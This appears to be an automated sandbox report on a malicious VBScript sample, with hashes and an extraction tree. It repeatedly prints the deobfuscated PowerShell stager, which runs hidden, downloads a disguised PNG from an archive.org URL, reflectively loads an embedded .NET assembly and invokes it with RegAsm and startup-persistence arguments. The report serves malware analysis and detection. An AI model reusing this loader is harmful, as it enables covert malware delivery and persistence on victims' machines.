Malicious
Malicious

7677a05a856094fbe5a107921b8919b3

VBScript
|
MD5: 7677a05a856094fbe5a107921b8919b3
|
Size: 1.97 MB
|
text/vbscript

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
7677a05a856094fbe5a107921b8919b3
Sha1
723a566c99d7e380253af6f6e1b4bcbf435484c3
Sha256
b3c254d8249b079be915664ed97ac1423aeb9c2845a8521a2d1a31ff0fd66476
Sha384
0af8e26c630064d3907339cd89d3de801eb7b20258a059d41713a06716d2887f392e4fd3ec837b6c0aa9f4f25e087724
Sha512
353442848e877ff309e44a1a254dfc82e2717e939cf794fd5399214b077a48a8e4d8d03af81933533fde8529784961d70ba6d644edda0b8d3f28c48ca9dc3690
SSDeep
24576:uY54P3Ow7tY54P3Ow7tY54P3Ow79Y54P3Ow7tY54P3Ow74:uFW4FW4FWEFW4FW5
TLSH
1F95E1CB794D9684888271F96538C622F1DD83E07316D7B2EE78C614B3838B8D57BB91
File Structure
7677a05a856094fbe5a107921b8919b3
Malicious
7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Artefacts
Name
 Value
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05CcVN3b05WZtV3YvREMyUSY 0VGcyF2QvkiMoAjMlEGdlBnchNGMyUSY2VWdO9SMxADO6cmcv5ycuR2ajVHZuQ3bzN3LvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05CcVN3b05WZtV3YvREMyUSY 0VGcyF2QvkiMoAjMlEGdlBnchNGMyUSY2VWdO9SMxADO6cmcv5ycuR2ajVHZuQ3bzN3LvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

Invoke-Expression
7677a05a856094fbe5a107921b8919b3 (1.97 MB)
File Structure
7677a05a856094fbe5a107921b8919b3
Malicious
7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html

7677a05a856094fbe5a107921b8919b3
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0]

Deobfuscated PowerShell

Invoke-Expression

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [PowerShell Command]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05CcVN3b05WZtV3YvREMyUSY 0VGcyF2QvkiMoAjMlEGdlBnchNGMyUSY2VWdO9SMxADO6cmcv5ycuR2ajVHZuQ3bzN3LvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [Base64-Block]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05CcVN3b05WZtV3YvREMyUSY 0VGcyF2QvkiMoAjMlEGdlBnchNGMyUSY2VWdO9SMxADO6cmcv5ycuR2ajVHZuQ3bzN3LvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [Deobfuscated PS]
Deobfuscated PowerShell

Invoke-Expression

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [PowerShell Command] > [Deobfuscated PS]
Deobfuscated PowerShell

Invoke-Expression

Malicious

7677a05a856094fbe5a107921b8919b3 > 7677a05a856094fbe5a107921b8919b3.deobfuscated.vbs > [Command #0] > [Deobfuscated PS] > [PowerShell Command]
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